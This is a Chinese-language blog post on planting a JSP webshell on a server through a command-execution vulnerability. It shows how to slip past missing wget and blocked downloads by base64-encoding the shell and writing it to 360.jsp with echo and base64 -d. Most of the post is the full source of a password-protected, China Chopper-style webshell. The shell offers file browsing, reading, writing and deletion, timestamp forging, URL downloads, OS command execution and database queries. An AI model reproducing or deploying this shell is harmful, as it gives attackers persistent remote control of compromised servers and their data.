Author:[email protected]
原文链接：http://www.5ecurity.cn/index.php/archives/137/

我们有时候会遇到存在命令执行漏洞的网站，我们想写入一句话或者jsp大马。
偶尔运气比较背，或者策略比较严会出现以下两种情况：

1. wget 命令不存在
2. 禁止从外网下载东西

这是我们可能想要通过echo 来写一个木马文件

echo neirong > /目录/360.jsp

问题来了 小马或者大马存在各种特殊字符需要转义输出文件中内容各种报错不解析等等
这时候我们可以利用base64编码再解码输出到文件，完美解决转义问题
语句如下：

echo base64后的木马内容 |base64 -d > 360.jsp

echo <?xml version="1.0" encoding="utf-8"?>

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2">
  <jsp:directive.page contentType="text/html" pageEncoding="UTF-8"/>
  <jsp:directive.page import="java.io.*"/>
  <jsp:directive.page import="java.util.*"/>
  <jsp:directive.page import="java.net.*"/>
  <jsp:directive.page import="java.sql.*"/>
  <jsp:directive.page import="java.text.*"/>
  <jsp:declaration>String Pwd="023";String cs="UTF-8";String EC(String s)throws Exception{return new String(s.getBytes("ISO-8859-1"),cs);}Connection GC(String s)throws Exception{String[] x=s.trim().split("\r\n");Class.forName(x[0].trim());if(x[1].indexOf("jdbc:oracle")!=-1){return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);}else{Connection c=DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);if(x.length&gt;4){c.setCatalog(x[4]);}return c;}}void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i&lt;r.length;i++){sb.append(r[i].toString().substring(0,2));}}void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT,sQ,sF="";java.util.Date dt;SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(int i=0; i&lt;l.length; i++){dt=new java.util.Date(l[i].lastModified());sT=fm.format(dt);sQ=l[i].canRead()?"R":"";sQ +=l[i].canWrite()?" W":"";if(l[i].isDirectory()){sb.append(l[i].getName()+"/\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n");}else{sF+=l[i].getName()+"\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n";}}sb.append(sF);}void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles();for(int k=0; k &lt; x.length; k++){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();}void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset();ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));os.write(("-&gt;"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"&lt;-").getBytes(),0,3);os.close();is.close();}void GG(String s,String d)throws Exception{String h="0123456789ABCDEF";File f=new File(s);f.createNewFile();FileOutputStream os=new FileOutputStream(f);for(int i=0; i&lt;d.length();i+=2){os.write((h.indexOf(d.charAt(i)) &lt;&lt; 4 | h.indexOf(d.charAt(i+1))));}os.close();}void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles();for(int j=0; j&lt;z.length; j++){HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());}}else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df);int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}}void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();}void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());}void LL(String s,String d)throws Exception{URL u=new URL(s);int n=0;FileOutputStream os=new FileOutputStream(d);HttpURLConnection h=(HttpURLConnection) u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512];while((n=is.read(b))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}void MM(InputStream is,StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));while((l=br.readLine())!=null){sb.append(l+"\r\n");}}void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();while(r.next()){sb.append(r.getString(1)+"\t");}r.close();c.close();}void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] x=s.trim().split("\r\n");ResultSet r=c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length&gt;5?x[5]:x[4]:null,"%",new String[]{"TABLE"});while(r.next()){sb.append(r.getString("TABLE_NAME")+"\t");}r.close();c.close();}void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split("\r\n");Connection c=GC(s);Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from "+x[x.length-1]);ResultSetMetaData d=r.getMetaData();for(int i=1;i&lt;=d.getColumnCount();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")\t");}r.close();m.close();c.close();}void QQ(String cs,String s,String q,StringBuffer sb,String p)throws Exception{Connection c=GC(s);Statement m=c.createStatement(1005,1008);BufferedWriter bw=null;try{ResultSet r=m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(int i=1; i &lt;=n; i++){sb.append(d.getColumnName(i)+"\t|\t");}sb.append("\r\n");if(q.indexOf("--f:")!=-1){File file=new File(p);if(q.indexOf("-to:")==-1){file.mkdir();}bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:")+4,q.length()).trim()),true),cs));}while(r.next()){for(int i=1; i&lt;=n;i++){if(q.indexOf("--f:")!=-1){bw.write(r.getObject(i)+""+"\t");bw.flush();}else{sb.append(r.getObject(i)+""+"\t|\t");}}if(bw!=null){bw.newLine();}sb.append("\r\n");}r.close();if(bw!=null){bw.close();}}catch(Exception e){sb.append("Result\t|\t\r\n");try{m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n");}catch(Exception ee){sb.append(ee.toString()+"\t|\t\r\n");}}m.close();c.close();}</jsp:declaration>
  <jsp:scriptlet>cs=request.getParameter("z0")!=null?request.getParameter("z0")+"":cs;response.setContentType("text/html");response.setCharacterEncoding(cs);StringBuffer sb=new StringBuffer("");try{String Z=EC(request.getParameter(Pwd)+"");String z1=EC(request.getParameter("z1")+"");String z2=EC(request.getParameter("z2")+"");sb.append("-&gt;"+"|");String s=request.getSession().getServletContext().getRealPath("/");if(Z.equals("A")){sb.append(s+"\t");if(!s.substring(0,1).equals("/")){AA(sb);}}else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while((l=br.readLine())!=null){sb.append(l+"\r\n");}br.close();}else if(Z.equals("D")){BufferedWriter bw2=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));bw2.write(z2);bw2.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);}else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");}else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");}else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\\\","/")+"images/");}}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"&lt;-");out.print(sb.toString());</jsp:scriptlet>
</jsp:root>
 |base64 -d > 360.jsp

截图如下：